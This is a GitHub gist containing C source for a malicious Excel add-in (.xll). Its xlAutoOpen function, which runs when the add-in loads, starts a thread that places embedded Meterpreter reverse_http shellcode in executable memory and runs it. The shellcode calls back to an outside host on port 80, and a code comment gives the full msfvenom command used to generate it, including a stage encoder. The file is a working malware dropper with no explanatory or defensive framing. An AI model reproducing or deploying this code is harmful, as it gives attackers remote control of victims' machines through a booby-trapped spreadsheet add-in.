Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save PaulSec/c8c5e33777f753c6fdc7d175f17fe085 to your computer and use it in GitHub Desktop.
Save PaulSec/c8c5e33777f753c6fdc7d175f17fe085 to your computer and use it in GitHub Desktop.
// Compile with: cl.exe x86_meterpreter_reverse_http.c /LD /o x86_meterpreter_reverse_http.xll
#include <Windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
// Payload obtained via "msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f c"
unsigned char b[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\x68\x3a\x56"
"\x79\xa7\xff\xd5\x53\x53\x6a\x03\x53\x53\x6a\x50\xe8\x37\x01"
"\x00\x00\x2f\x4d\x4c\x71\x4e\x48\x77\x66\x52\x64\x69\x4f\x65"
"\x57\x70\x39\x62\x78\x79\x32\x53\x4d\x67\x74\x46\x42\x65\x31"
"\x45\x46\x58\x48\x55\x31\x78\x6b\x31\x4b\x69\x2d\x2d\x4f\x36"
"\x48\x71\x34\x58\x57\x36\x51\x57\x43\x2d\x6a\x37\x76\x57\x37"
"\x45\x38\x49\x49\x33\x6b\x64\x31\x4e\x4c\x4f\x76\x69\x67\x52"
"\x62\x70\x53\x71\x42\x4d\x58\x46\x39\x31\x69\x55\x7a\x73\x48"
"\x62\x58\x4c\x37\x2d\x6f\x48\x4d\x79\x41\x79\x6d\x71\x36\x71"
"\x5f\x75\x71\x34\x30\x4c\x4c\x61\x54\x6e\x36\x62\x39\x6e\x4c"
"\x5f\x59\x70\x50\x50\x69\x2d\x36\x67\x63\x44\x79\x51\x48\x4c"
"\x62\x76\x44\x5a\x33\x55\x39\x43\x56\x78\x72\x75\x47\x56\x68"
"\x63\x37\x50\x44\x6e\x4a\x77\x30\x47\x2d\x6c\x52\x70\x68\x39"
"\x2d\x6e\x39\x50\x4a\x59\x53\x6c\x6e\x5f\x49\x71\x49\x67\x53"
"\x51\x33\x41\x34\x33\x56\x37\x59\x5a\x69\x73\x57\x6f\x75\x72"
"\x61\x41\x4b\x6f\x64\x46\x00\x50\x68\x57\x89\x9f\xc6\xff\xd5"
"\x89\xc6\x53\x68\x00\x02\x60\x84\x53\x53\x53\x57\x53\x56\x68"
"\xeb\x55\x2e\x3b\xff\xd5\x96\x6a\x0a\x5f\x53\x53\x53\x53\x56"
"\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x08\x4f\x75\xed\xe8"
"\x4c\x00\x00\x00\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40"
"\x00\x53\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57"
"\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85"
"\xc0\x74\xcf\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\x5f\xe8"
"\x8b\xff\xff\xff\x61\x6e\x79\x2e\x77\x65\x62\x73\x69\x74\x65"
"\x2e\x63\x6f\x6d\x00\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
void *exec = VirtualAlloc(0, sizeof b, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, b, sizeof b);
((void(*)())exec)();
return 1;
}
void __cdecl xlAutoOpen() {
HANDLE threadHandle;
// Create a thread and close the handle as we do not want to use it to wait for it
threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
CloseHandle(threadHandle);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment